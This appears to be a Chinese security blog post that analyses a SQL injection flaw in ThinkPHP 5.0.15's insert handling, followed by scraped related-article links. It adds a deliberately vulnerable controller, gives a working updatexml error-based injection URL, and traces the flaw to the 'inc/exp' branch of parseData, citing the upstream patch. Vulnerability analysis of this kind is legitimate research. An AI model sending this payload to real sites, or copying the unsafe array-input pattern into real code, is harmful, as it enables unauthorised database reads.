前言

前段时间,晴天师傅在朋友圈发了一张ThinkPHP 注入的截图。最近几天忙于找工作的事情,没来得及看。趁着中午赶紧搭起环境分析一波。Think PHP就不介绍了,搞PHP的都应该知道。

环境搭建

  本文中的测试环境为ThinkPHP 5.0.15的版本。下载,解压好以后,开始配置。首先开启debug,方便定位问题所在。修改application\config.php, app_debug和app_trace都改成true。然后创建数据库,并且修改application\database.php为自己数据库的配置。

我这里创建数据库需要的sql文件:

create table `user` (
`uid` int(10) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL DEFAULT '',
`password` varchar(255) NOT NULL DEFAULT '',
PRIMARY KEY (`uid`)
)ENGINE=InnoDB DEFAULT CHARSET=UTF8;

然后我们找到application\index\controller\Index.php这个文件,也就是我们的控制器文件,然后添加如下方法:

    public function sqli() {
// 从GET数组方式获取用户信息
$user = input('get.username/a');
// 实例化数据库类并且调用insert方法进行数据库插入操作
db('user')->where(['uid' =>1])->insert(['username' => $user]);
}

漏洞复现

然后我们访问:http://127.0.0.1/thinkphp_5.0.15_full/public/index.php/index/index/sqli?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=233

注意这里的路径的问题,ThinkPHP的默认入口文件在public目录下的index.php。具体可以自行跟进。

然后我们可以看到已经成功查询出当前数据库的信息:

漏洞分析:

我们重点来看报错的堆栈信息:

 in Connection.php line 456
at Connection->execute('INSERT INTO `user` (...', []) in Query.php line 241
at Query->execute('INSERT INTO `user` (...', []) in Query.php line 2095
at Query->insert(['username' => ['inc', 'updatexml(1,concat(0...', '233']]) in Index.php line 15
at Index->sqli()
at ReflectionMethod->invokeArgs(object(Index), []) in App.php line 343
at App::invokeMethod([object(Index), 'sqli'], []) in App.php line 595
at App::module(['index', 'index', 'sqli'], ['app_host' => '', 'app_debug' => true, 'app_trace' => true, ...], null) in App.php line 457
at App::exec(['type' => 'module', 'module' => ['index', 'index', 'sqli']], ['app_host' => '', 'app_debug' => true, 'app_trace' => true, ...]) in App.php line 139
at App::run() in start.php line 19
at require('D:\phpstudy\WWW\thin...') in index.php line 17

很明显到第五行以后的部分都是框架初始化的部分,我们可以略过。感兴趣可以自行研究。我们重点关心后续SQL执行的操作。

我们看到在第五行调用Index类中的sqli方法的时候调用了Query类的insert方法,这个类在 thinkphp\library\think\db\Query.php, 2079行。然后我打印这里传入的第一个参数,也就是参数表中的$data参数,结果如下:

array(1) { ["username"]=> array(3) { [0]=> string(3) "inc" [1]=> string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)" [2]=> string(3) "233" } }

然后我们传入的username数组。然后我们跟踪整个数据流的传递过程。insert函数中首先进行的时候$options = $this->parseExpress();注释里边写的很清楚了,分析查询表达式,我们重点关心data数据的传递流程。

     public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// var_dump($data);exit();
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
var_dump($data);exit();
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
// 获取参数绑定
$bind = $this->getBind();
if ($options['fetch_sql']) {
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
} // 执行操作
$result = 0 === $sql ? 0 : $this->execute($sql, $bind);
if ($result) {
$sequence = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
$lastInsId = $this->getLastInsID($sequence);
if ($lastInsId) {
$pk = $this->getPk($options);
if (is_string($pk)) {
$data[$pk] = $lastInsId;
}
}
$options['data'] = $data;
$this->trigger('after_insert', $options); if ($getLastInsID) {
return $lastInsId;
}
}
return $result;
}

在合并数组之后,$data的内容为,

array(1) {
["username"]=>
array(3) {
[0]=>
string(3) "inc"
[1]=>
string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)"
[2]=>
string(3) "233"
}
}

然后生成sql,也就是如下操作:

$sql = $this->builder->insert($data, $options, $replace);

在这步执行完成以后,打印一下sql。结果如下:

string(85) "INSERT INTO `user` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+233) "

至此,我们的漏洞定位已经完成。在builder类中调用insert方法时候的问题,我们跟进就好了:

    public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
$fields = array_keys($data);
$values = array_values($data); $sql = str_replace(
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table'], $options),
implode(' , ', $fields),
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql); return $sql;
}

我们看到首先进行的操作是

$data = $this->parseData($data, $options);

继续跟进,在parseData函数中,对$data进行了遍历,然后如果val的第一个元素为inc,dec或者exp都会进入拼接。然后生成sql。

代码如下:

    protected function parseData($data, $options)
{
if (empty($data)) {
return [];
} // 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
} $result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}

接着在insert方法中进行字符替换,然后返回最终执行的sql语句。

参考文章:

【先知社区】https://xz.aliyun.com/t/2257

【Github补丁】https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b

ThinkPHP 5.0.x SQL注入分析的更多相关文章

  1. 技能提升丨Seacms 8.7版本SQL注入分析

    有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解.其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注 ...

  2. Mybatis3.0防止SQL注入

    一.什么是SQL注入 引用搜狗百科: SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如很多影视网站泄露VIP会员密码大 ...

  3. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  4. 动态分析小示例| 08CMS SQL 注入分析

    i春秋作家:yanzm 0×00 背景 本周,拿到一个源码素材是08cms的,这个源码在官网中没有开源下载,需要进行购买,由某师傅提供的,审计的时候发现这个CMS数据传递比较复杂,使用静态分析的方式不 ...

  5. ThinkPHP 3.0~3.2 注入漏洞

    地址:http://xx.com/index.php/Admin.php?s=/User/Public/check payload:act=verify&username[0]=='1')) ...

  6. DT6.0关于SQL注入漏洞修复问题

    阿里云安全平台提示:Destoon SQL注入,关于: Destoon的/mobile/guestbook.php中$do->add($post);这行代码对参数$post未进行正确转义,导致黑 ...

  7. Joomla!3.7.0 Core SQL注入漏洞动态调试草稿

    参考joolma的mvc框架讲解:http://www.360doc.com/content/11/1219/18/1372409_173441270.shtml 从这个页面开始下断点:Joomla_ ...

  8. sql注入分析

    输入 1:sql为:select * from users where id = 1; 输入'测试:回显:You have an error in your SQL syntax; check the ...

  9. Discuz 5.x/6.x/7.x投票SQL注入分析

    看乌云有人爆了这个漏洞:http://www.wooyun.org/bugs/wooyun-2014-071516感觉应该是editpost.inc.php里投票的漏洞.因为dz已经确定不会再修补7. ...

随机推荐

  1. 如何让多个android listview同时使用一个滚动条

    如何让多个android listview同时使用一个滚动条 重新设置ListView的高度 /** * 设置listview高度,注意listview子项必须为LinearLayout才能调用该方法 ...

  2. TWO PHASES OF ANGULAR 2 APPLICATIONS

    Angular 2 separates updating the application model and reflecting the state of the model in the view ...

  3. Devexpress VCL Build v2013 vol 13.2.3 发布

    继续修修补补,大过年的,就不吐槽了. What's New in 13.2.3 (VCL Product Line)   New Major Features in 13.2 What's New i ...

  4. JSP中的一个树型结构

    看方力勋的javaWeb,采用左右值来表示树型结构(就是俺门的多级分类)表结构 页面代码 <%@ page language="java" import="java ...

  5. 转 group_concat函数详解

    MySQL中group_concat函数 完整的语法如下: group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔 ...

  6. Linux的磁盘分区(一)

    磁道:track 扇区:sector 磁头:head 柱面:cylinder 每个扇区,512字节 每个磁道划分为63个扇区 逻辑磁头(盘面)数设为255 一个柱面的大小 =255 * 63 * 51 ...

  7. ajax 测试

    在学习SpringMVC的过程中,接触到ajax,顺便复习一下前面学习到的知识! 这篇博客中讲的比较详细 http://www.cnblogs.com/lsnproj/archive/2012/02/ ...

  8. swift - 歌曲列表动画

    // //  ViewController.swift //  songAnimation // //  Created by su on 15/12/10. //  Copyright © 2015 ...

  9. swift学习之UIButton

    // //  ViewController.swift //  button // //  Created by su on 15/12/7. //  Copyright © 2015年 tian. ...

  10. [转]程序集之GAC---Global Assembly Cache

    本文转自:http://www.cnblogs.com/jhxk/articles/2564295.html 1.什么是GAC?GAC解决什么问题? GAC全称为: Global Assembly C ...